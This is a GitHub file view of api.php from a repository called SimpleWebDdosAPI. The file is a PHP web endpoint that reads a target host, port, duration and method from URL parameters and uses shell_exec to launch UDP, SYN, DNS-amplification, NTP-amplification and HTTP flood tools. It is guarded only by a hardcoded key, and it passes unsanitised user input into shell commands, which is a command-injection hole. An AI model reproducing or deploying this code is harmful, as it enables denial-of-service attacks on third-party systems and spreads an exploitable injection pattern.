forked from SwordLoveDev/SimpleWebDdosAPI
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathapi.php
More file actions
43 lines (39 loc) · 1.56 KB
/
api.php
File metadata and controls
43 lines (39 loc) · 1.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
// Coded by Sword
$key = $_GET['key'];
$host = $_GET['host'];
$port = $_GET['port'];
$time = $_GET['time'];
$method = $_GET['method'];
if ($key == "mdp") {
if ($host == null) { echo "Please enter a host"; }
elseif ($port == null) { echo "Please enter a port"; }
elseif ($time == null) { echo "Please enter a time"; }
elseif ($method == null) { echo "Please enter a method"; }
else {
if ($method == "UDP") {
shell_exec("cd /home/kali/script/ && ./udp $host $port $time");
echo "Attack sent on $host with the port $port for $time s with $method method.";
}
if ($method == "SYN") {
shell_exec("cd /home/kali/script/ && ./syn $host $port $time");
echo "Attack sent on $host with the port $port for $time s with $method method.";
}
if ($method == "AMP-DNS") {
shell_exec("cd /home/kali/script/ && ./amp-dns $host dns.txt $port $time");
echo "Attack sent on $host with the port $port for $time s with $method method.";
}
if ($method == "AMP-NTP") {
shell_exec("cd /home/kali/script/ && ./amp-ntp $host ntp.txt $port $time");
echo "Attack sent on $host with the port $port for $time s with $method method.";
}
if ($method == "HTTP") {
shell_exec("cd /home/kali/script/ && ./http $host $port $time");
echo "Attack sent on $host with the port $port for $time s with $method method.";
}
}
}
else {
echo "Key invalid !";
}
?>